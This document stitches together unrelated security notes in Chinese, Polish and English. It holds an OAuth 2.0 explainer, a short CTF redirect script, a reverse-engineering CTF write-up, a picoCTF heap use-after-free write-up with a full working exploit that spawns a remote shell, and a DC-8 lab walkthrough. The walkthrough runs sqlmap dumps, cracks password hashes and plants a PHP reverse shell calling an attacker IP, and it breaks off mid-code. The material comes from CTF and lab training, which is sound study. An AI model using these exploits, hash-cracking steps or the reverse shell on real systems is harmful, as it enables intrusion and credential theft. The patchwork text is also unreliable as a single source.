开发者 A 注册某 IT 论坛后,发现可以在信息栏中填写自己的 Github 个人信息和仓库项目,但是他又觉得手工填写十分麻烦,但是直接提供 Github 账户和密码给论坛又是非常危险的事情。开发者 A 发现在该论坛处,可以点击 “导入” 按钮,授权该论坛访问自己的 Github 账户并限制其只具备读权限。这样一来, Github 中的所有仓库和相关信息就可以很方便地被导入到信息栏中,账户隐私信息也不会泄露。
**OAuth 如何授权**
OAuth 的核心就是向第三方应用颁发令牌。
OAuth 引入了一个授权层,用来分离两种不同的角色:客户端和资源所有者。......资源所有者同意以后,资源服务器可以向客户端颁发令牌。客户端通过令牌,去请求数据。
RFC 6749 标准定义了获得令牌的四种授权方式
> 注意,不管哪一种授权方式,第三方应用申请令牌之前,都必须先到系统备案,说明自己的身份,然后会拿到两个身份识别码:客户端 ID(client ID)和客户端密钥(client secret)。这是为了防止令牌被滥用,没有备案过的第三方应用,是不会拿到令牌的。
- 授权码(authorization-code) : 第三方应用先申请一个授权码,然后再用该码获取令牌,适用于所有有 Server 端的应用,如 Web 站点、有 Server 端的手机客户端
这种方式是最常用的流程,安全性也最高,它适用于那些有后端的 Web 应用。授权码通过前端传送,令牌则是储存在后端,而且所有与资源服务器的通信都在后端完成。这样的前后端分离,可以避免令牌泄漏。
- 第一步
网站提供一个链接,用户点击后就会跳转到 B 网站,授权用户数据给 A 网站使用。下面就是 A 网站跳转 B 网站的一个示意链接。
```
https://b.com/oauth/authorize?
response_type=code&
client_id=CLIENT_ID&
redirect_uri=CALLBACK_URL&
scope=read
```
URL 中,`response_type` 参数表示要求返回授权码(code),`client_id` 参数让 B 知道是谁在请求,`redirect_uri` 参数是 B 接受或拒绝请求后的跳转网址,`scope` 参数表示要求的授权范围(这里是只读)。
- 第二步
用户跳转后,B 网站会要求用户登录,然后询问是否同意给予 A 网站授权。用户表示同意,这时 B 网站就会跳回 redirect_uri 参数指定的网址。跳转时,会传回一个授权码,就像下面这样。
```
https://a.com/callback?code=AUTHORIZATION_CODE
```
包含以下参数:
- code:表示授权码,必选项。该码的有效期应该很短,通常设为10分钟,客户端只能使用该码一次,否则会被授权服务器拒绝。该码与客户端 ID 和重定向 URI,是一一对应关系。
- state:如果客户端的请求中包含这个参数,认证服务器的回应也必须一模一样包含这个参数。
上面 URL 中,`code` 参数就是授权码。
- 第三步
A 网站拿到授权码以后,就可以在后端,向 B 网站请求令牌。
```
https://b.com/oauth/token?
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET&
grant_type=authorization_code&
code=AUTHORIZATION_CODE&
redirect_uri=CALLBACK_URL
```
包含以下参数:
- grant_type:表示使用的授权模式,必选项,此处的值固定为"authorization_code"。
- code:表示上一步获得的授权码,必选项。
- redirect_uri:表示重定向 URI,必选项,且必须与第一步中的该参数值保持一致。
- client_id:表示客户端 ID,必选项。
上面 URL 中,`client_id` 参数和 `client_secret` 参数用来让 B 确认 A 的身份(`client_secret` 参数是保密的,因此只能在后端发请求),`grant_type` 参数的值是 `AUTHORIZATION_CODE`,表示采用的授权方式是授权码,`code` 参数是上一步拿到的授权码,`redirect_uri` 参数是令牌颁发后的回调网址。
- 第四步
B 网站收到请求以后,就会颁发令牌。具体做法是向 redirect_uri 指定的网址,发送一段 JSON 数据。
```
{
"access_token":"ACCESS_TOKEN",
"token_type":"bearer",
"expires_in":2592000,
"refresh_token":"REFRESH_TOKEN",
"scope":"read",
"uid":100101,
"info":{...}
}
```
包含以下参数:
- access_token:表示访问令牌,必选项。
- token_type:表示令牌类型,该值大小写不敏感,必选项,可以是 bearer 类型或 mac 类型。
- expires_in:表示过期时间,单位为秒。如果省略该参数,必须其他方式设置过期时间。
- refresh_token:表示更新令牌,用来获取下一次的访问令牌,可选项。
- scope:表示权限范围,如果与客户端申请的范围一致,此项可省略。
上面 JSON 数据中,`access_token` 字段就是令牌,A 网站在后端拿到了。
- 隐藏式/简化模式(implicit): 允许直接向前端颁发令牌。这种方式没有授权码这个中间步骤,所以称为(授权码)"隐藏式"(implicit),结合移动应用或 Web App 使用.
有些 Web 应用是纯前端应用,没有后端。这时就不能用上面的方式了,必须将令牌储存在前端。
- 第一步
A 网站提供一个链接,要求用户跳转到 B 网站,授权用户数据给 A 网站使用。
```
https://b.com/oauth/authorize?
response_type=token&
client_id=CLIENT_ID&
redirect_uri=CALLBACK_URL&
scope=read
```
包含以下参数:
- response_type:表示授权类型,此处的值固定为 "token",必选项。
- client_id:表示客户端的 ID,必选项。
- redirect_uri:表示重定向的 URI,可选项。
- scope:表示权限范围,可选项。
- state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。
上面 URL 中,`response_type` 参数为 token,表示要求直接返回令牌。
- 第二步
用户跳转到 B 网站,登录后同意给予 A 网站授权。这时,B 网站就会跳回 `redirect_uri` 参数指定的跳转网址,并且把令牌作为 URL 参数,传给 A 网站。
```
https://a.com/callback#token=ACCESS_TOKEN
```
上面 URL 中,token 参数就是令牌,A 网站因此直接在前端拿到令牌。
注意,令牌的位置是 URL 锚点(fragment),而不是查询字符串(querystring),这是因为 OAuth 2.0 允许跳转网址是 HTTP 协议,因此存在"中间人攻击"的风险,而浏览器跳转时,锚点不会发到服务器,就减少了泄漏令牌的风险。
这种方式把令牌直接传给前端,是很不安全的。因此,只能用于一些安全要求不高的场景,并且令牌的有效期必须非常短,通常就是会话期间(session)有效,浏览器关掉,令牌就失效了。
- 密码式(password):如果你高度信任某个应用,RFC 6749 也允许用户把用户名和密码,直接告诉该应用。该应用就使用你的密码,申请令牌,这种方式称为"密码式"(password),例如同个组织的内部或外部应用.
- 第一步
A 网站要求用户提供 B 网站的用户名和密码。拿到以后,A 就直接向 B 请求令牌。
```
https://oauth.b.com/token?
grant_type=password&
username=USERNAME&
password=PASSWORD&
client_id=CLIENT_ID
```
包含以下参数:
- grant_type:表示授权类型,此处的值固定为"password",必选项。
- username:表示用户名,必选项。
- password:表示用户的密码,必选项。
- scope:表示权限范围,可选项。
上面 URL 中,`grant_type` 参数是授权方式,这里的 `password` 表示"密码式",`username` 和 `password` 是 B 的用户名和密码。
- 第二步
B 网站验证身份通过后,直接给出令牌。注意,这时不需要跳转,而是把令牌放在 JSON 数据里面,作为 HTTP 回应,A 因此拿到令牌。
这种方式需要用户给出自己的用户名/密码,显然风险很大,因此只适用于其他授权方式都无法采用的情况,而且必须是用户高度信任的应用。
- 客户端凭证(client credentials) : 命令行下请求令牌,比如百度 API Store.
- 第一步
A 应用在命令行向 B 发出请求。
```
https://oauth.b.com/token?
grant_type=client_credentials&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET
```
上面 URL 中,`grant_type` 参数等于 `client_credentials` 表示采用凭证式,`client_id` 和 `client_secret` 用来让 B 确认 A 的身份。
第二步,B 网站验证通过以后,直接返回令牌。
这种方式给出的令牌,是针对第三方应用的,而不是针对用户的,即有可能多个用户共享同一个令牌。
**令牌的使用**
A 网站拿到令牌以后,就可以向 B 网站的 API 请求数据了。
此时,每个发到 API 的请求,都必须带有令牌。具体做法是在请求的头信息,加上一个 `Authorization` 字段,令牌就放在这个字段里面。
```
curl -H "Authorization: Bearer ACCESS_TOKEN" \
"https://api.b.com"
```
上面命令中,`ACCESS_TOKEN` 就是拿到的令牌。
**更新令牌**
令牌的有效期到了,如果让用户重新走一遍上面的流程,再申请一个新的令牌,很可能体验不好,而且也没有必要。OAuth 2.0 允许用户自动更新令牌。
具体方法是,B 网站颁发令牌的时候,一次性颁发两个令牌,一个用于获取数据,另一个用于获取新的令牌(refresh token 字段)。令牌到期前,用户使用 refresh token 发一个请求,去更新令牌。
```
https://b.com/oauth/token?
grant_type=refresh_token&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET&
refresh_token=REFRESH_TOKEN
```
包含以下参数:
- granttype:表示使用的授权模式,此处的值固定为 "refreshtoken",必选项。
- refresh_token:表示早前收到的更新令牌,必选项。
- scope:表示申请的授权范围,不可以超出上一次申请的范围,如果省略该参数,则表示与上一次一致。
上面 URL 中,`grant_type` 参数为 `refresh_token` 表示要求更新令牌,`client_id` 参数和 `client_secret` 参数用于确认身份,`refresh_token` 参数就是用于更新令牌的令牌。
B 网站验证通过以后,就会颁发新的令牌。
**令牌与密码的区别**
令牌(token)与密码(password)的作用是一样的,都可以进入系统,但是有三点差异。
1. 令牌是短期的,到期会自动失效,用户自己无法修改。密码一般长期有效,用户不修改,就不会发生变化。
2. 令牌可以被数据所有者撤销,会立即失效。以上例而言,屋主可以随时取消快递员的令牌。密码一般不允许被他人撤销。
3. 令牌有权限范围(scope),比如只能访问A应用。对于网络服务来说,只读令牌就比读写令牌更安全。密码一般是完整权限。
上面这些设计,保证了令牌既可以让第三方应用获得权限,同时又随时可控,不会危及系统安全。这就是 OAuth 2.0 的优点。
注意,只要知道了令牌,就能进入系统。系统一般不会再次确认身份,所以令牌必须保密,泄漏令牌与泄漏密码的后果是一样的。 这也是为什么令牌的有效期,一般都设置得很短的原因。
|
sec-knowleage
|
<script>
location.replace('http://'+parseInt(Math.random()*1e15)+'-abuse.web.ctfcompetition.com/login');
</script>
|
sec-knowleage
|
## Reverse 300 (re, 300p)
### PL
[ENG](#eng-version)
Dostajemy [program](./r300.exe) (tym razem PE windowsowe), który pobiera od usera parę username:hasło. Mamy zdobyć hasło dla użytkownika "Administrator".
Okazuje się dodatkowo że są zabezpieczenia przed bezpośrednim zapytaniem o hasło dla usera "Administrator".
Program po kolei:
- pyta o username
- pyta o hasło
- sprawdza czy w username występuje litera "A" - jeśli tak, to hasło nie będzie poprawnie generowane.
- następnie sprawdza czy hasło ma odpowiednią długość (zależną od nicka - chyba zależność to długość_nicka - 1, ale nie sprawdzaliśmy). Jeśli nie, znowu, nie będzie błędu ale sprawdzenie wykona się niepoprawnie.
- Następnie następuje sprawdzenie hasła:
```
for (int i = 0; i < strlen(password) - 1; i++) {
if (!cbc_password_check(dużo obliczeń matematycznych na i, password[i])) {
return false;
}
}
```
- poszliśmy na łatwiznę (a raczej, wybraliśmy optymalne rozwiązanie) - nie reversowaliśmy algorytmu, tylko śledziliśmy co robi funkcja cbc_password_check w każdej iteracji. Robiła ona dużo obliczeń na username, i na podstawie tego sprawdzała jaka powinna być kolejna litera hasła i wykonywała porównanie. Wystarczyło "prześledzić" raz przebieg tej funkcji, w debuggerze pominąć returny, i mieliśmy gotowe hasło.
Z tego odczytaliśmy wymagane hasło dla administratora: `#y1y3#y1y3##` i zdobyliśmy flagę.
### ENG version
We get a [binary](./r300.exe) (this time a windows PE), which takes user:password pair as input. We need a password for "Administrator" user.
There are some additional protection against directly asking for password for "Administrator" user.
The binary:
- asks for username
- asks for password
- checks if there is letter "A" in the useraname - if so, the password will not be generated correctly.
- then it checks is the password has a proper length (depending on the usernaem - something like username_length -1, but we didn't check). If no, again it will not show any errors byt password check will fail.
- then there is the actual password check:
```
for (int i = 0; i < strlen(password) - 1; i++) {
if (!cbc_password_check(a lot of mathematical compuations over i, password[i])) {
return false;
}
}
```
- we took the easy path (or the optmimal solution) - we didn't try to reverse the algorithm, but we tracked what the cbc_password_check function was doing in each iteration. It was doing a lot fo computations on username and then it was using this to check what should be the next password letter and was doing the comparison. We only had to "track" this function once in a debugger, skip returns and we had the password.
With this approach we got the password for Administrator: `#y1y3#y1y3##` and we got the flag.
|
sec-knowleage
|
# sword
Binary Exploitation, 800 points
## Description:
> Can you spawn a shell and get the flag?
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#define MAX_SWORD_NUM 6
#define READ_INT_BUF_LEN 32
#define MAX_SWORD_LEN 0x100
#define FORGE_TIME 2
#define ALARM_TIME 30
struct sword_s {
int name_len;
int weight;
char *sword_name;
void (*use_sword)(char *ptr);
int is_hardened;
};
struct sword_list_s {
int is_used;
struct sword_s *sword;
};
struct sword_list_s sword_lists[MAX_SWORD_NUM];
void show_menu() {
printf("/* Welcome! */\n"
"1. Forge a sword.\n"
"2. Synthesise two sword.\n"
"3. Show a sword.\n"
"4. Destroy a sword.\n"
"5. Harden a sword.\n"
"6. Equip a sword.\n"
"7. Quit.\n");
}
void free_sword() {
int slot;
printf("What's the index of the sword?\n");
slot = get_int();
if (slot < 0 || slot >= MAX_SWORD_NUM ||
!sword_lists[slot].is_used) {
printf("I don't trust your number!!!!\n");
exit(-1);
}
sword_lists[slot].is_used = 0;
char *name = sword_lists[slot].sword->sword_name;
free(sword_lists[slot].sword);
free(name);
}
int get_int(void) {
char str[READ_INT_BUF_LEN];
char ch;
int i;
for (i = 0; (read(STDIN_FILENO, &ch, 1), ch) != '\n' &&
i < READ_INT_BUF_LEN - 1 && ch != -1; i++) {
str[i] = ch;
}
str[i] = '\x00';
return atoi(str);
}
int pick_sword_free_slot() {
for (int i = 0; i < MAX_SWORD_NUM; i++) {
if (!sword_lists[i].is_used) {
return i;
}
}
return -1;
}
void show_sword() {
int slot;
printf("What's the index of the sword?\n");
slot = get_int();
if (slot < 0 || slot >= MAX_SWORD_NUM ||
!sword_lists[slot].is_used) {
printf("I don't trust your number!!!!\n");
exit(-1);
}
if (sword_lists[slot].is_used == 0) {
printf("Haha!!! There is a hacker!!\n");
exit(-1);
}
printf("The weight is %u\n",
(unsigned int)sword_lists[slot].sword->weight);
printf("The name is %s\n", sword_lists[slot].sword->sword_name);
}
void hoo(char *name) {
printf("I use sword %s..... It's so cooool!\n", name);
}
void harden_sword() {
int slot;
printf("What's the index of the sword?\n");
slot = get_int();
if (slot < 0 || slot >= MAX_SWORD_NUM ||
!sword_lists[slot].is_used) {
printf("I don't trust your number!!!!\n");
exit(-1);
}
if (sword_lists[slot].sword->is_hardened) {
printf("This sword is already hardened!\n");
return;
}
printf("What's the length of the sword name?\n");
/* Get name_len. */
int len = get_int();
if (len < 0) {
printf("Oh no there is a hacker!!!!\n");
exit(-1);
}
if (len > MAX_SWORD_LEN) {
printf("The name is too long.\n");
free(sword_lists[slot].sword);
return;
}
sword_lists[slot].sword->name_len = len;
/* Get sword name. */
sword_lists[slot].sword->sword_name = malloc(len + 1);
if (!sword_lists[slot].sword->sword_name) {
puts("malloc() returned NULL. Out of Memory\n");
exit(-1);
}
printf("Plz input the sword name.\n");
char ch;
int i;
for (i = 0; (read(STDIN_FILENO, &ch, 1), ch) != '\n' &&
i < len && ch != -1; i++) {
sword_lists[slot].sword->sword_name[i] = ch;
}
sword_lists[slot].sword->sword_name[i] = '\x00';
/* Get sword weight. */
printf("What's the weight of the sword?\n");
int weight = get_int();
printf("OK....Plz wait for forging the sword..........\n");
sleep((weight + 1) * 10000000);
sword_lists[slot].sword->weight = weight;
sword_lists[slot].sword->use_sword = hoo;
sword_lists[slot].sword->is_hardened = 1;
}
void equip_sword() {
int slot;
printf("What's the index of the sword?\n");
slot = get_int();
if (slot < 0 || slot >= MAX_SWORD_NUM ||
!sword_lists[slot].sword) {
printf("I don't trust your number!!!!\n");
exit(-1);
}
/* Apparently there should be system('/bin/sh'). */
(sword_lists[slot].sword->use_sword)(sword_lists[slot].sword->sword_name);
}
/* Vuln. */
void synthe_sword() {
int slot_1, slot_2;
printf("What's the index of the first sword?\n");
slot_1 = get_int();
if (slot_1 < 0 || slot_1 >= MAX_SWORD_NUM ||
!sword_lists[slot_1].is_used) {
printf("I don't trust your number!!!!\n");
exit(-1);
}
printf("What's the index of the second sword?\n");
slot_2 = get_int();
if (slot_2 < 0 || slot_2 >= MAX_SWORD_NUM ||
!sword_lists[slot_2].is_used) {
printf("I don't trust your number!!!!\n");
exit(-1);
}
printf("OK.... Forge two swords now!!\n");
struct sword_list_s sword1_list = sword_lists[slot_1];
struct sword_list_s sword2_list = sword_lists[slot_2];
/* Two swords are lost. */
sword1_list.is_used = sword2_list.is_used = 0;
sleep(FORGE_TIME);
/* Combinne two names together. */
sword2_list.sword->sword_name = realloc(sword2_list.sword->sword_name,
sword1_list.sword->name_len + sword2_list.sword->name_len + 1);
if (!sword2_list.sword->sword_name) {
exit(-1);
}
memcpy(sword2_list.sword->sword_name + sword2_list.sword->name_len,
sword1_list.sword->sword_name, sword1_list.sword->name_len);
sword2_list.sword->name_len += sword1_list.sword->name_len;
/* New sword is created. */
sword2_list.is_used = 1;
/* Clear the first sword. */
free(sword1_list.sword->sword_name);
printf("YOu have the NEW sword!\n");
}
void create_sword() {
int slot = pick_sword_free_slot();
if (slot == -1) {
printf("Oh my! There are no slot for new swords!\n");
return;
}
sword_lists[slot].sword = malloc(sizeof(struct sword_s));
if (!sword_lists[slot].sword) {
puts("malloc() returned NULL. Out of Memory\n");
exit(-1);
}
sword_lists[slot].is_used = 1;
sword_lists[slot].sword->is_hardened = 0;
printf("New sword is forged ^_^. sword index is %d.\n", slot);
}
void alarm_handler(int sig) {
printf("Blade master is angry!\n");
exit(-1);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
/* If someone can print some ascii art, that should be better. */
signal(SIGALRM, alarm_handler);
alarm(ALARM_TIME);
char buf[READ_INT_BUF_LEN];
while (1) {
show_menu();
if (read(STDIN_FILENO, buf, READ_INT_BUF_LEN) == 0) {
return -1;
}
int command = atoi(buf);
switch (command) {
case 1:
create_sword();
break;
case 2:
synthe_sword();
break;
case 3:
show_sword();
break;
case 4:
free_sword();
break;
case 5:
harden_sword();
break;
case 6:
equip_sword();
break;
case 7:
printf("Thank you!\n");
break;
default:
break;
}
}
}
```
## Solution:
The provided program allows us to perform various operations related to swords.
From inspecting the source, we can find several bugs in the implementation.
First, we see that `sword_s` is a structure representing a sword, and in the current implementation is always allocated on the heap. It contains a `sword_name` pointer, which also points to data allocated on the heap. However, in one case we can cause the pointer to the `sword_s` structure to be freed without freeing the `sword_name`, and without resetting the `sword_lists[slot]` to default:
```c
void harden_sword() {
...
if (len > MAX_SWORD_LEN) {
printf("The name is too long.\n");
free(sword_lists[slot].sword);
return;
}
...
}
```
In addition, we see that `equip_sword()` will execute its logic without making sure that `sword_lists[slot_1].is_used`.
We will use both bugs in order to spawn a shell. Our strategy will be as follows:
First we allocate two swords, which will create two new entries in `sword_lists`:
```c
struct sword_list_s {
int is_used;
struct sword_s *sword;
};
struct sword_list_s sword_lists[MAX_SWORD_NUM];
```
Both `sword_lists[0]` and `sword_lists[1]` will have `is_used = 1`, and their `sword` pointer will point to a valid `struct sword_s` structure on the heap.
Then, we will use the bug in `harden sword` in order to free one of the sword entries without cleaning up the structure. This will give us one entry which still has `is_used` set to TRUE, and `sword` pointing to a location on the heap, but from the heap manager's perspective that location is actually free.
Now, we use `harden_sword` again, this time to cause the program to perform another heap allocation:
```c
printf("What's the length of the sword name?\n");
/* Get name_len. */
int len = get_int();
if (len < 0) {
printf("Oh no there is a hacker!!!!\n");
exit(-1);
}
if (len > MAX_SWORD_LEN) {
printf("The name is too long.\n");
free(sword_lists[slot].sword);
return;
}
sword_lists[slot].sword->name_len = len;
/* Get sword name. */
sword_lists[slot].sword->sword_name = malloc(len + 1);
```
If we request a name of length `sizeof(struct sword_s)`, the heap manager would probably give us the same allocation which was used to store the `struct sword_s` that we've tricked the program to free in the previous step. Furthermore, if instead of just a name, we provide data which is crafted to look like a `struct sword_s`, we will end up with a sword entry that is indistinguishable from a legitimate sword entry, but is completely controlled by us. And as an added bonus, `struct sword_s` contains both a string and a function pointer:
```c
struct sword_s {
int name_len;
int weight;
char *sword_name;
void (*use_sword)(char *ptr);
int is_hardened;
};
```
We will use this trick twice: First, to leak the address of a libc function via the sword name, which will allow us to calculate the libc base. Then again, by setting `use_sword` to `system()` and calling it on a sword name which will point to `/bin/sh`.
The script:
```python
from pwn import *
from ctypes import *
import re
PROGRAM = "./sword"
LIBC = "./libc.so.6"
MAX_SWORD_LEN = 0x100
class sword_s(Structure):
_fields_ = [('name_len', c_int32),
('weight', c_int32),
('sword_name', c_int64),
('use_sword', c_int64),
('is_hardened', c_int32)]
def to_bytes(self):
return buffer(self)[:]
def read_menu():
p.recvuntil("Quit.\n")
def forge_sword():
read_menu()
p.sendline("1")
out = p.recvline()
id = re.search("index is (\d+)\.", out).group(1)
log.info("Forged sword: {}".format(id))
return id
def show_sword(id):
read_menu()
p.sendline("3")
p.recvuntil("What's the index of the sword?\n")
p.sendline(str(id))
p.recvline()
out = p.recvline(keepends=True)
name = re.search("name is (.+)\n", out).group(1)
log.info("Sword #{} has name '{}' ({})".format(id, name, enhex(name)))
return name
def destroy_sword(id):
read_menu()
p.sendline("4")
p.recvuntil("What's the index of the sword?\n")
p.sendline(str(id))
log.info("Sword #{} destroyed".format(id))
def harden_sword(id, name_length, name, weight):
read_menu()
p.sendline("5")
p.recvuntil("What's the index of the sword?\n")
p.sendline(str(id))
p.recvuntil("What's the length of the sword name?\n")
p.sendline(str(name_length))
if name_length > MAX_SWORD_LEN:
log.info("Sword #{} pseudo-freed".format(id))
return
p.recvuntil("Plz input the sword name.\n")
p.sendline(str(name))
p.recvuntil("What's the weight of the sword?\n")
p.sendline(str(weight))
p.recvline()
log.info("Sword #{} hardened with name '{}' (length: {}, weight: {})".format(id, name.encode("hex"), name_length, weight))
def equip_sword(id):
read_menu()
p.sendline("6")
p.recvuntil("What's the index of the sword?\n")
p.sendline(str(id))
log.info("Sword #{} used".format(id))
e = ELF(PROGRAM)
libc = ELF(LIBC)
p = remote("2018shell3.picoctf.com", 44116)
sword_ids = []
for i in range(4):
sword_ids.append(forge_sword())
#Free sword without cleaning up:
harden_sword(sword_ids[0], MAX_SWORD_LEN+1, None, None)
sword = sword_s()
sword.name_len = 8 #size of pointer
sword.weight = 0
sword.sword_name = (e.got['malloc'])
sword.use_sword = 0
sword.is_hardened = 0
harden_sword(sword_ids[1], sizeof(sword), sword.to_bytes(), -1)
malloc_addr = show_sword(sword_ids[0])
malloc_addr = u64(malloc_addr.ljust(8, '\x00'))
log.info("Address of malloc: {}".format(hex(malloc_addr)))
libc_base = malloc_addr - libc.symbols['malloc']
log.info("LibC base: {}".format(hex(libc_base)))
assert (libc_base & 0xFFF == 0)
#Free sword without cleaning up:
harden_sword(sword_ids[2], MAX_SWORD_LEN+1, None, None)
binsh = "/bin/sh\x00"
sword = sword_s()
sword.name_len = len(binsh)
sword.weight = 0
sword.sword_name = libc_base + next(libc.search(binsh))
sword.use_sword = libc_base + libc.symbols['system']
sword.is_hardened = 0
log.info("/bin/sh location: {}".format(hex(sword.sword_name)))
log.info("Address of system(): {}".format(hex(sword.use_sword)))
harden_sword(sword_ids[3], sizeof(sword), sword.to_bytes(), -1)
equip_sword(sword_ids[2])
p.interactive()
```
The output:
```console
root@kali:/media/sf_CTFs/pico/sword# python exploit.py
[*] '/media/sf_CTFs/pico/sword/sword'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RPATH: './'
[*] '/media/sf_CTFs/pico/sword/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 2018shell3.picoctf.com on port 44116: Done
[*] Forged sword: 0
[*] Forged sword: 1
[*] Forged sword: 2
[*] Forged sword: 3
[*] Sword #0 pseudo-freed
[*] Sword #1 hardened with name '0800000000000000602060000000000000000000000000000000000000000000' (length: 32, weight: -1)
[*] Forged sword: 0
[*] Forged sword: 1
[*] '/media/sf_CTFs/pico/sword/libc.so.6'
[*] '/media/sf_CTFs/pico/sword/sword'
[*] '/media/sf_CTFs/pico/sword/sword'
[*] '/media/sf_CTFs/pico/sword/sword'
[*] '/media/sf_CTFs/pico/sword/sword'
[*] '/media/sf_CTFs/pico/sword/sword'
Arch: amd64-64-little
[*] '/media/sf_CTFs/pico/sword/sword'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RPATH: './'
[*] '/media/sf_CTFs/pico/sword/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 2018shell3.picoctf.com on port 44116: Done
[*] Forged sword: 0
[*] Forged sword: 1
[*] Forged sword: 2
[*] Forged sword: 3
[*] Sword #0 pseudo-freed
[*] Sword #1 hardened with name '0800000000000000602060000000000000000000000000000000000000000000' (length: 32, weight: -1)
[*] Sword #0 has name '0v0' (30e17630d17f)
[*] Address of malloc: 0x7fd13076e130
[*] LibC base: 0x7fd1306ea000
[*] Sword #2 pseudo-freed
[*] /bin/sh location: 0x7fd130876d57
[*] Address of system(): 0x7fd13072f390
[*] Sword #3 hardened with name '0800000000000000576d8730d17f000090f37230d17f00000000000000000000' (length: 32, weight: -1)
[*] Sword #2 used
[*] Switching to interactive mode
Blade master is angry!
$ ls
flag.txt
libc.so.6
sword
sword.c
xinet_startup.sh
$ cat flag.txt
picoCTF{usE_aFt3R_fr3e_1s_aN_1ssu3_300469f1}
$
```
The flag: picoCTF{usE_aFt3R_fr3e_1s_aN_1ssu3_300469f1}
|
sec-knowleage
|
# DC8-WalkThrough
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**靶机地址**
- https://www.vulnhub.com/entry/dc-8,367/
**Description**
DC-8 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This challenge is a bit of a hybrid between being an actual challenge, and being a "proof of concept" as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.
The "proof of concept" portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.
The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.
You probably wouldn't even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it's definitely there and doing it's job.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
**知识点**
- exim4 提权
**实验环境**
`环境仅供参考`
- VMware® Workstation 15 Pro - 15.0.0 build-10134415
- kali : NAT 模式,192.168.141.134
- 靶机 : NAT 模式
---
# 前期-信息收集
开始进行 IP 探活
```bash
nmap -sP 192.168.141.0/24
```
排除法,去掉自己、宿主机、网关, `192.168.141.141` 就是目标了
扫描开放端口
```bash
nmap -T5 -A -v -p- 192.168.141.141
```
开放了 SSH 和 WEB 服务,从 WEB 开始,发现是个 Drupal 7,想到 DC1 的几个漏洞,尝试一下
---
# 中期-漏洞利用
```
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS 192.168.141.141
run
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.141.141
run
```
都不行,还有一个 CVE-2018-7602 需要认证,就先 pass
点击左侧链接,出现 nid 参数,这个参数貌似可以注入
SQLMAP 走起
```
sqlmap -u http://192.168.141.141/?nid=1 --dbs --batch
sqlmap -u http://192.168.141.141/?nid=1 -D d7db --tables --batch
sqlmap -u http://192.168.141.141/?nid=1 -D d7db -T users --dump --batch
```
```
admin $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
```
用 hashcat 跑一下
```
echo "\$S\$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z" > pass.txt
echo "\$S\$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF" >> pass.txt
hashcat -m 7900 -a 0 pass.txt /usr/share/john/password.lst
```
只跑出 john 的密码 turtle,那先用这个账号登录
回过头去测 CVE-2018-7602 也是一个方法,不过公开的 poc 利用于 Drupal 8,7当然也是受影响的,你可以尝试修改 poc
在爆破的时候顺带扫一下目录,发现有个登录点 `http://192.168.141.141/user`
登录后发现有一处直接执行 php 代码的地方
是个表单设置,可能要用 Contact us 触发
和 DC7 一样的 PHP 反向 shell 代码
`!!!注意: 一定要在 php 代码最前面加一些字符,大坑,搞了好久才发现!!!`
```php
rdfgdfgdfgsdfgsfgsdf
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.141.134';
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
